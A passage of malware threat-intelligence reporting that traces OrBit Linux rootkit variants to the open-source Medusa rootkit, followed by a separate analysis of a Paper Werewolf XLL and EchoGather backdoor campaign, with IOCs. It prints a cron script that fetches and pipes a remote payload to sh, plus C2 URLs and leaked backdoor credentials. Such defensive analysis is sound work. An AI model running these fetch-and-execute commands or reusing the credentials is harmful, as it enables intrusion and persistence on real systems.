`090b15fd`	—	—	—	—	—	—	dropper (carries `8e83cbb2`)
`64a3ebd3`	—	—	—	—	—	—	dropper (carries `8e83cbb2`)
`b85ed157`	—	—	—	—	—	—	dropper (carries `8e83cbb2`)
`d3d204c1`	—	—	—	—	—	—	dropper (carries `2b2eeb22`)
`73b95b7d`	n/a	—	—	—	—	—	infector (carries 090b15fd as inner ELF)

The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit’s return to the 0xA2 encryption key after the 2024 0xAA experiment.

Two distinct rootkit .so builds are present in 2025, both Lineage A:

8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023).

2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample.

XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638’s missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model.

Dropper Samples

090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022).

73b95b7d: A New Dropper Architecture

73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit.

The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector’s role is propagation and persistence; the dropper’s role is to extract and install the rootkit .so via ld.so.preload.

The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include:

/bin/ls
All 64-bit ELF files in the current working directory that have read/write access.

Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target.

#!/bin/sh
wget --quiet http://cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor.

This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence.

The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads.

char mw_plain_table[0x4e] = "0123456789abcdefghijklmnopqrstuvzywxABCDEFGHIJKLMNOPQRSTUVZYWX|:. !#-/;&*\'\"\n\r", 0
char mw_cipher_table[0x58] = "<>@o$:,.l+*^?=)(|AB&%;D!wkUxzvutsrqp_nm-ihgfFCcba~K23456789eyd1XSNQWTZMIRHGVOYLjPJE/][", 0

Connection to RHOMBUS

The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware.

Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784).

Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Shared BANNER_0_HASH-IP value.

Resolution of http://cf0[.]pw

Samples From February 2026

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks
`04c06be0`	0xA2	`/lib/libseconf/`	`jokerteam`	`HACK89SERVER`	64	54
`2b2eeb22`	0xA2	`/lib/libseconf/`	`57ill4Cu63`	`1qaz@WSX3edc098`	64	54

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a Fork of the Medusa Open-Source Rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the Fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874... | awk '/FILE LOCAL/'
 25: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
 34: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
 40: 0000000000000000 0 FILE LOCAL DEFAULT ABS rknet.c
 46: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b... | awk '/FILE LOCAL/'
 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
 9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c
 15: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

$ readelf -s 26082cd36fdaf7... | awk '/FILE LOCAL/'
 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
 9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkload.c
 14: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

Medusa source	Role	Corresponding OrBit artifact
src/rkld.c	Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)	All Lineage A / Lineage B rootkit .so samples
src/rkload.c	Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit)	26082cd3 and related loader/installer samples
src/rknet.c	Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding	Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.

The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.
The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.
The nested-ELF structure produced by the xxd - +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

SHA256	Year	Role	Lineage
40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020	2022	payload	A
ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067	2022	payload	A
f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8	2022	dropper	-
d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b	2023	payload	A
296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7	2023	payload	A
3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a	2023	payload	B
4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73	2023	payload	B
eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f	2024	payload	A
a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349	2024	payload	A
a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc	2024	payload	B
b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d	2024	payload	B
989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e	2024	payload (extracted)	B
8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e	2024	payload (static ELF)	A
26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675	2024	loader	-
48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6	2024	dropper	-
fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a	2024	dropper	-
8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613	2025	payload	A
2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a	2025	payload	A
84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef	2025	payload (truncated)	A
090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e	2025	dropper	-
64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff	2025	dropper	-
b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77	2025	dropper	-
d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba	2025	dropper	-
73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a	2025	infector	-
04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9	2026	payload	A
d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f	2026	payload	A
b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784	2020	RHOMBUS dropper	-

Tracing a Paper Werewolf Campaign Through Ai Generated Decoys and Excel Xlls

Fri, 19 Dec 2025 00:00:00 +0000

An XLL is a native Windows DLL that Excel loads as an add-in, allowing it to execute arbitrary code through exported functions like xlAutoOpen. Since at least mid-2017, threat actors began abusing Microsoft Excel add-ins via the .XLL format, the earliest documented misuse is by the threat group APT10 (aka Stone Panda / Potassium) injecting backdoor payloads via XLLs.

Since 2021, a growing number of commodity malware families and cyber-crime actors have added XLL-based delivery to their arsenals. Notable examples include Agent Tesla and Dridex, researchers observed an increase of these malware being dropped via malicious XLL add-ins.

Attackers typically embed their malicious code in the standard add-in export functions, such as xlAutoOpen. When a user enables the add-in in Excel, the malicious payload executes automatically, dropping or downloading a malicious payload. Some malware families use legitimate frameworks to create XLL (Excel Add-in) files. One common example is Excel-DNA, a popular open-source framework.

These frameworks make it easier for attackers to build and load malicious XLLs. In some cases, they also allow threat actors to pack and execute additional payloads directly in memory.

In late October 2025, a 64-bit DLL compiled as an XLL add-in was submitted to VirusTotal from two different countries. The first submission came from Ukraine on October 26, followed by three separate submissions from Russia beginning on October 27. The Russian-submitted samples were named Плановые цели противника.xll (“enemy’s planned targets”) and Плановые цели противника НЕ ЗАПУСКАТЬ.xll, which depending on context can mean either “Do NOT release the enemy’s planned targets” or “Do NOT activate the enemy’s scheduled targets.”

This DLL contains an embedded second-stage payload, a backdoor we named EchoGather. Once launched, the backdoor collects system information, communicates with a hardcoded command-and-control (C2) server, and supports command execution and file transfer operations. While it uses the XLL format for delivery, its execution chain and payload behavior differ from previously documented threats abusing Excel add-ins. Through pivoting on infrastructure and TTPs we were able to link this campaign to Paper Werewolf (aka GOFFEE), a group that has been targeting Russian organizations.

Technical analysis

Let’s dive in deeper.

What is an XLL?

An XLL is an Excel add-in implemented as a DLL that Excel loads directly, usually with the .xll extension. Microsoft explicitly describes XLL files as a DLL-style add-in that extends Excel with custom functions.

When a user double clicks the file with the .xll extension, Excel is launched, loads the DLL and calls its exported functions such as xlAutoOpen, initialization code, or xlAutoClose, when unloading. Often malicious XLLs embed their payload inside xlAutoOpen or through a secondary loader, so that code runs immediately once Excel imports the DLL.

Excel XLL add-ins and macros differ mainly in how they execute and the level of control they provide an attacker. Macros, VBA or legacy XLM, run as scripts inside Excel’s macro engine and are constrained by Microsoft’s security model, which now includes blocking macros from the internet, signature requirements, and multiple user-facing warnings. XLLs, on the other hand, are compiled DLLs that Excel loads directly into its own process using LoadLibrary(), giving them the full power of native code without going through macro security checks. While macros rely on interpreted scripting and COM interactions, XLLs can call any Windows API, inject into other processes, or act as full-featured malware loaders. This makes XLLs far more capable and harder to analyze, and it may explain why some threat actors chose XLL-based delivery methods rather than macro-based.

Loader behavior

The DLL exports two functions, xlAutoOpen and xlAutoClose, both of which return zero. This behavior differs from that of legitimate XLL add-ins as well as from previously documented threats abusing the XLL format, such as those described in the most recent CERT-UA publication. In this case, the malicious logic is not tied to the typical export functions but instead is triggered through dllmain. The main function of the loader is called when fdwReason > 2 meaning that dllmain_dispatch was called with DLL_THREAD_DETACH (=3). Essentially the main function will be called when any thread in Excel that previously called into the XLL (even Excel’s own threads) exits.

Triggering the malicious payload during DLL_THREAD_DETACH helps the malware evade detection by delaying execution until a thread exits. This bypasses typical behavior-based detection, which focuses on early-stage activity like PROCESS_ATTACH, making the execution appear benign at first and allowing the second-stage payload to activate covertly after the sandbox times out or AV heuristics complete.

SHA-256: 0506a6fcee0d4bf731f1825484582180978995a8f9b84fc59b6e631f720915da

A call to the function that loads and executes the backdoor.

The embedded file is dropped as mswp.exe in %APPDATA%\Microsoft\Windows, then executed as a hidden process using CreateProcessW with CREATE_NO_WINDOW. Standard Output and Error is captured and redirected via anonymous pipes. If process creation succeeds, the function returns true otherwise, it cleans up and returns false.

The backdoor: EchoGather

We refer to this backdoor as EchoGather due to its focus on system reconnaissance and repeated beaconing behavior.

SHA-256: 74fab6adc77307ef9767e710d97c885352763e68518b2109d860bb45e9d0a8eb

The dropped payload is a 64-bit backdoor with hardcoded configuration and C2 address. It collects system information and communicates with the C2 over HTTP(S) using the WinHTTP API.

Main function of EchoGather.

The data collected by EchoGather consists of:

IPv4 addresses
OS type (“Windows”)
Architecture
NetBIOS name
Username
Workstation domain
Process ID
Executable path
Static version string: 1.1.1.1

Next, EchoGather encodes that data using Base64 and sends it to the C2 using POST method. The C2 address is constructed from hardcoded strings. In the analyzed sample the C2 address was: https://fast-eda[.]my:443/dostavka/lavka/kategorii/zakuski/sushi/sety/skidki/regiony/msk/birylievo This transmission occurs in an infinite loop with randomized sleep intervals between 300–360 seconds.

In all of its C2 communications, EchoGather uses the WinHTTP API. It supports various proxy configurations and is designed to ignore SSL/TLS certificate validation errors, allowing it to operate in environments with custom or misconfigured proxy and certificate settings.

Supported commands

EchoGather supports four commands.

All outgoing communication with the C2 is encoded using standard Base64. When a command is received from the C2 the first 36 bytes contain the request ID, it’s a unique identifier that is being used when the backdoor needs to send the information is several packages.

0x54 Remote Command Execution

EchoGather first extracts the request ID, followed by the command that needs to be executed. It then decrypts the string cmd.exe /C %s using a hardcoded XOR key (0xCA), which serves as a template for command execution. Using this template, it executes the specified command via cmd.exe. The output of the command is captured through a pipe and sent back to the C2 server, with the request ID prepended to the response.

0x45 Return Configuration

Sends the embedded configuration structure to the C2.

0x56 File Exfiltration

The backdoor begins by extracting a request ID and the name of the file to be exfiltrated. It opens the specified file, determines its total size, and calculates how many 512 KB chunks are required for transmission. A transfer header containing metadata about the chunk count and size is then sent to the C2 server. In response, the backdoor receives the request ID used to identify the session. The file is read and transmitted in chunks, with each chunk containing the request ID, chunk index, file tag, data length, and raw file data.

0x57 Remote File Write

EchoGather receives a filename from the C2 and writes the incoming data chunks to the system, reconstructing the file as the chunks arrive.

Infrastructure analysis

During our research we found two domains that were used by the threat actors.

IP Resolutions for fast-eda.my:

The domain was registered on September 12, 2025.
The very first resolution was between September 12th and 14th, the domain was resolved to 199.59.243[.]228.
After that and until November 26th all of the resolutions were on Cloudflare instances.
From September 18th to November 24th the domain was resolved to 172.64.80[.]1
On November 27th it was resolved to 94.103.3[.]82 the address is connected to Russia based on geolocation.

When we looked up the related files to this domain on VirusTotal, we found 7 files. Two of them are powershell scripts that load the backdoor: mswt.ps1 and the second one wasn’t submitted with a name.

The two scripts are identical, including their execution flow. Both first decode two Base64-encoded files: a PDF document and the EchoGather payload. The PDF is opened, while the payload is executed in the background. The document appears to be an invitation, written in Russian, to a concert for high-ranking officers. However, the PDF is AI-generated and contains several noticeable inconsistencies. For instance, the stamp in the lower right corner appears to be an AI-generated attempt at recreating Russia’s national emblem, the double-headed eagle, but the result resembles a distorted or bird-like figure rather than the intended symbol. The text also includes several errors. Some Cyrillic letters are incorrect, for example, the letter Д is used in place of Л in multiple instances, and the word праздиика is a misspelled version of праздника. Additionally, the phrase «с глубоким уважением приглашает» (translated as “with deep respect invites (you)”) is unnatural and not idiomatic in the context of formal Russian invitations.

Decoy document, and invite to a concert.

IP Resolutions for ruzede.com

First seen on 2025-05-21, resolved to 162.255.119[.]43 and later to 5.45.85[.]43 until October 2nd.
On October 2nd it was resolved to IP addresses in Cloudflare.
From October 4th to November 26th the domain was resolved to the same address seen in the previous domain: 172.64.80[.]1
On November 26th it was resolved to 193.233.18[.]137 in Russia based on geolocation.
The ip address is linked to different malicious domains.

Using VirusTotal, we pivoted on the domain ruzede[.]com, and we identified a RAR archive that exploits a known vulnerability, CVE-2025-8088, a vulnerability in WinRAR that involves the abuse of NTFS alternate data streams (ADSes) in combination with path traversal. This flaw allows attackers to embed malicious content within seemingly harmless filenames by appending ADSes that include relative path traversal sequences.

The archive contains a file named Вх.письмо_Мипромторг.lnk:.........._Roaming_Microsoft_Windows_run.bat

When the archive is opened, WinRAR fails to properly sanitize these ADS paths and extracts the hidden data streams, placing them in unintended or sensitive locations such as %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.

Connected file to the domain ruzede[.]com

The phrase “письмо Мипромторг” is misspelled; the correct form is “письмо Минпромторга.” This term refers to an official letter or communication issued by the Ministry of Industry and Trade of the Russian Federation (Минпромторг России). The same misspelling error is in the archive file name: Вх.письмо_Мипромторг.rar.

Essentially the file in the archive is a batch script that launches a hidden PowerShell process. This process navigates to a user-specific AppData directory, then downloads a PowerShell script named docc1.ps1 from a remote URL (https://2k-linep[.]com/upload/docc1.ps1) and saves it to the current working directory. The script is then executed via a new PowerShell instance with execution policy restrictions bypassed.

The downloaded script (docc1.ps1) extracts both a PDF file and an EchoGather payload, using a technique similar to the one described previously. However, in this instance, the embedded PDF differs from earlier samples. This document is allegedly sent from the deputy of the Ministry of Industry and Trade of the Russian Federation, asking for price justification documentation under the state defense order, focusing on violations of deadlines and reporting on pricing approval processes.

The companies listed with their emails on the top right side of the first page (Almaz-Antey, Shvabe, and the United Instrument-Making Corporation) are major Russian defense-industry and high-technology enterprises, and they might be the intended recipients of this decoy document.

Page 1

Page 2

Page 3

The same vulnerability was used by several threat actors including RomCom (Russia-aligned) and Paper Werewolf, a cyberespionage group targeting Russian organizations and active since 2022. In early August, BI.ZONE Threat Intelligence published a report about an ongoing campaign of Paper Werewolf that exploits CVE-2025-6218, affects WinRAR versions up to and including 7.11 and enables directory traversal attacks that allow malicious archives to extract files outside their intended directories. A second zero-day, at the time, vulnerability that abuses ADSs for path traversal. The report doesn’t mention CVE-2025-8088, but based on the description we assume that is the same vulnerability.

The interesting part is that we can see similarities between the decoy documents from the report to the document above. First, the filename of the decoy document in the report is запрос Минпромторга РФ.pdf (Request of the Ministry of Industry and Trade of the Russian Federation.pdf) no misspellings in the filename. It refers to the same office. The document asks to assess the impact of a specific government resolution on production capacities of subsidy recipients. Next, both documents share the same template and structure: red stamp on the left side, followed by the same information about the office, the date and the request id. Both documents contain a request for information to be submitted to a government-affiliated organization.

Attribution

Based on the shared infrastructure, such as the ruzede[.]com domain, as well as notable similarities in decoy document construction and the exploitation of the WINRAR vulnerability that leverages ADSs, we attribute this campaign to the Paper Werewolf (aka GOFFEE) threat group. The recent use of XLL files suggests that the group is experimenting with new delivery methods while continuing to rely on established infrastructure, possibly in an attempt to evade detection. In addition, the use of a new, yet simple, backdoor may indicate an effort to improve and evolve their toolset.

Summary

It’s less common to see public reporting on threats targeting Russian organizations, which makes this campaign worth highlighting. The threat actor appears to be actively exploring new methods to evade detection, including the use of XLL-based delivery techniques and newly developed payloads. These changes suggest an effort to enhance their capabilities. However, there are still clear gaps in both technical execution and linguistic accuracy, indicating that their tradecraft is still developing.

IOCs

XLL Loader

0506a6fcee0d4bf731f1825484582180978995a8f9b84fc59b6e631f720915da

EchoGather Hashes and C2 Infrastructure

Variant 1

C2: https://ruzede[.]com/blogs/drafts/publish/schedule/seosso/login/mfa/verify/token/refresh/ips/blocklist/whitelist

Files:

c3e04bb4f4d51bb1ae8e67ce72aff1c3abeca84523ea7137379f06eb347e1669
0d1dd7a62f3ea0d0fbeea905a48ae8794f49319ee0c34f15a3a871899404bf05

Variant 2

C2: https://fast-eda.my/dostavka/lavka/kategorii/zakuski/sushi/sety/skidki/regiony/msk/birylievo

Files:

b2419afcfc24955b4439100706858d7e7fc9fdf8af0bb03b70e13d8eed52935c
23d917781e288a6fa9a1296404682e6cf47f11f2a09b7e4f340501bf92d68514
dd5a16d0132eb38f64293b8419bab3a3a80f48dc050129a8752989539a5c97bf
74fab6adc77307ef9767e710d97c885352763e68518b2109d860bb45e9d0a8eb

Other Files

sha256	File name (based on VirusTotal)
b6914d702969bc92e8716ece92287c0f52fc129c6fb4796676a738b103a6e039	mswt.ps1
29101c580b33b77b51a6afe389955b151a4d0913716b253672cc0c0a41e5ccc8	N/A
cdc3355ae57cc371c6c0918c0b5451b9298fc7d7c7035fa4b24d0cd08af4122c	C:\Users\user\AppData\Roaming\Microsoft\Windows\docc1.ps1
dc2df351c306a314569b1eeaccf5046ce5a64df487fa51c907cb065e968bba80	Вх.письмо_Мипромторг.lnk:.........._Roaming_Microsoft_Windows_run.bat
